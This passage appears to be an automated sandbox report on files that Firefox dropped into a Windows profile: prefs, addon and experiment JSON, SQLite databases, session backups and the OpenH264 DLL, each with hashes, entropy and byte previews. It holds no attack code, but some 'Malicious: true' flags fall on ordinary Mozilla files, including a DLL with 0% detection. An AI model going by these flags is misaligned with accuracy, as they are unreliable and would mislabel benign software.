Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.927149349422579
Encrypted:	false
SSDEEP:
MD5:	283E9D5DD07CFE2A2BD0F62E103E970E
SHA1:	541440B505D9B22B5475D726D80FE998FAC7ED7E
SHA-256:	C486B2446A461D15C01CF3C50B32D3ECE4B4EC7A6038C1691BD00026DC2F63A8
SHA-512:	CB4D8CD326FA2C7262192AE00D9887E44386C50987842CEF6461185C50DFCE590EACC220EC45BAD06E4BF24B925AC9FDD0176DD8999F98229C0F9512F3ABE084
Malicious:	false
Reputation:	unknown
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Reputation:	unknown
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Reputation:	unknown
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addons.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Reputation:	unknown
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 6, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 6
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04904767870501765
Encrypted:	false
SSDEEP:
MD5:	47196C792E7653C34708093D69062BE0
SHA1:	D1ABE0F6F8D2A04F30D5AE6F45CD47F6F3BC6A83
SHA-256:	6B01246C719B38F7716F272A6A547CADF45040202631EBCD9D32F3800AC822D4
SHA-512:	B42F4FEE044F06DAC7A5BD5D9450CF3DD9EED58AE365219E7607FE80E62EBA05A264AD10A35B3B827C44B204B4085D13F43D66FAC9EE26A5374878728279B90E
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extensions.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185924656884556
Encrypted:	false
SSDEEP:
MD5:	5656BA69BD2966108A461AAE35F60226
SHA1:	9C2E5AE52D82CEA43C4A5FFF205A7700CF54D61C
SHA-256:	587596712960B26EAC18CB354CCD633FFDB218E374A9D59EFEA843914D7AB299
SHA-512:	38F715AD9156558B5D57CA2E75FB0FFE0C5C6728BD94484B8F15E090120DDD02DCE42DBC9CC7143AD6552460A5F3A40E577FAF1D76D5D40B25CDBE636F250054
Malicious:	false
Reputation:	unknown
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{60024e8e-cfd0-41e5-965d-7128c7dcf0e8}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Reputation:	unknown
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Reputation:	unknown
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 5, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.07325949691175489
Encrypted:	false
SSDEEP:
MD5:	A28D8908E4C148D49CF21AD3A486306F
SHA1:	DB897D875CBEF874C72B0E56D163A4D18E386CF2
SHA-256:	D74E0DED540E220EB5002823E0AC5EF3DCDAEB76722745CD1EA1E3DAFCCBDD73
SHA-512:	62701D556984EEDD907E86A9C2A004A1298882805DC812870BA6A3F3FE8EA163A13E76C54F370BC6731B31D9978DF3FF933D4F7907B28906031718802FD740FE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.03715892102240314
Encrypted:	false
SSDEEP:
MD5:	0890354524963F42C22EB4D04A2FF44D
SHA1:	85BD20A009D8016C1CE24EF91733B124E47BC16B
SHA-256:	44FED70761632522D459939FBDAFDB768DADD6EB7E01F1D4CE5A5AE2D1B5A508
SHA-512:	2BC7E08BE4DA2339BD77F4DBF739672E9A50464C03DFBA2A6EEC0A2DDC6DBDCC9BFCFC028AB93F3D461AFCBEE363D376FADADEF2020870FF362BD71729D4B7A8
Malicious:	true
Reputation:	unknown
Preview:	..-........................._7.$.3....`.....].6...-........................._7.$.3....`.....].6.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	65616
Entropy (8bit):	0.03460030427783477
Encrypted:	false
SSDEEP:
MD5:	A9ADD4A87D4D3E1D95FB1E06D72A7DDB
SHA1:	8F6B0FA34F76F530196005A1FBE448BF478C0BA1
SHA-256:	0631223D18D21F343C9013A2035553D6817CDE5C63775B360DA3AFA80D5CD25C
SHA-512:	343EBED861760AB04B2C0D8DA2A88DC0572E85202359784C7F2BAAF49F2B5E466CC454214555AA60E183F958A6CF9F88D6086BFEC70BC4F1F90FA9F2F307D6B9
Malicious:	true
Reputation:	unknown
Preview:	7....-...........3....`..6..U...........3....`.H,......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13011
Entropy (8bit):	5.496897264553635
Encrypted:	false
SSDEEP:
MD5:	BF926FF7C48F8FFE2C188B3AC4658746
SHA1:	03E9B652712C8AFBE6E93E5FE07068F330782E3A
SHA-256:	1C729EC02207C66457D58CADAEAC3F0CAFAA9273B427E79035EF6F4CF1169738
SHA-512:	9B79261EAC37E03F58A911630EA800DDD565809F2A51E1C64B61F310684D379FB0919431AA55A280AE2A5B79E900D308E80B7DA805C6ADE1AF008E27017CEDC7
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 3);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732055680);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732055680);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732055680);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173205

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	13011
Entropy (8bit):	5.496897264553635
Encrypted:	false
SSDEEP:
MD5:	BF926FF7C48F8FFE2C188B3AC4658746
SHA1:	03E9B652712C8AFBE6E93E5FE07068F330782E3A
SHA-256:	1C729EC02207C66457D58CADAEAC3F0CAFAA9273B427E79035EF6F4CF1169738
SHA-512:	9B79261EAC37E03F58A911630EA800DDD565809F2A51E1C64B61F310684D379FB0919431AA55A280AE2A5B79E900D308E80B7DA805C6ADE1AF008E27017CEDC7
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 3);..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 1732055680);..user_pref("app.update.lastUpdateTime.background-update-timer", 1732055680);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1732055680);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 173205

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 1, last written using SQLite version 3042000, page size 32768, file counter 6, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.04067029485788646
Encrypted:	false
SSDEEP:
MD5:	3D3F4B51CE56265248318166F973614C
SHA1:	7C75014750B63746933A72E738CBE16E0008B737
SHA-256:	DCF2F64233DD81A1ADCF706122A4C6F2F2FA86A78011E5B49D0BA09033AF1564
SHA-512:	31948FBA725F4F9B09BC1E9A2219B9E3F5B3A4A51B076AEE272551C40D88C45E12641045712CCD87C7EA52EE355652569F9E98FD8217D987D90DFD8FD74615C4
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.......x..x..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Reputation:	unknown
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4 (copy)

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 3506 bytes
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	6.164287707718291
Encrypted:	false
SSDEEP:
MD5:	3834897C537E8E1E30119B64130B60AC
SHA1:	8BBE7F63AFAEE58E669F7CDE4F85EBB4197D5D27
SHA-256:	276C395CADA5ADFD45B5E31AED434B7CA109B1EC9D929FE7F06BDD64827DC997
SHA-512:	315A82B37AC9D9D0EA0253CA50A0E3C4765198B03778280E8D5C22643C5EEE8B47427CA8EA2DC885A42C73E884E2EC3EC806461726BDF26733DD2BCB010A68AB
Malicious:	false
Reputation:	unknown
Preview:	mozLz40.......{"version":["ses....restore",1],"windows":[{"tab..bentrie....url":"https://youtube.com/account?=.....rs.googl%...v3/signin/challenge/pwd","title[.C..cacheKey":0,"ID":6,"docshellUU...D"{755b6f47-1f30-42d3-9205-9519f4d19bb4}","resultPrincipalURI":null,"hasUserInteracte...false,"triggering9.p_base64{..\"3\":{}_..6docIdentifier":7,"persist":true}],"lastAccessed":1732055681749,"hiddey..searchMode...userContextId...attribut...{},"index":1,..TypedValu..."..QClearA.@imag....chrome://global/skin/icons/warning.svg"},R...3...R...f93085e4-33c1-4da7-a972-d5b7ca3d883c...R......Q.(.4Q..o739976Q.<.requestedId..=. .],"select...2,"_closedT..@],"_ ..C..`GroupC...":-1,"busy.......Flags":2167541758,"sizemodeBeforeMinimizq.C"max...,...dth":1164,"height":891,"screenXo.....Y...X..I..orkspace....1a5ccf63-1000-409f-b5c1-afec7f75d4d9","zD..1......W...............:....1":{F.eUpdateD.....startTim..`647709...centCrash..B1},"...:.Pcooki..P[{"ho...."addons.mozilla.org","vO..A8bad2467092e6ddeb0dfa9e5ea54

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore-backups\recovery.jsonlz4.tmp

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 3506 bytes
Category:	dropped
Size (bytes):	1274
Entropy (8bit):	6.164287707718291
Encrypted:	false
SSDEEP:
MD5:	3834897C537E8E1E30119B64130B60AC
SHA1:	8BBE7F63AFAEE58E669F7CDE4F85EBB4197D5D27
SHA-256:	276C395CADA5ADFD45B5E31AED434B7CA109B1EC9D929FE7F06BDD64827DC997
SHA-512:	315A82B37AC9D9D0EA0253CA50A0E3C4765198B03778280E8D5C22643C5EEE8B47427CA8EA2DC885A42C73E884E2EC3EC806461726BDF26733DD2BCB010A68AB
Malicious:	false
Reputation:	unknown
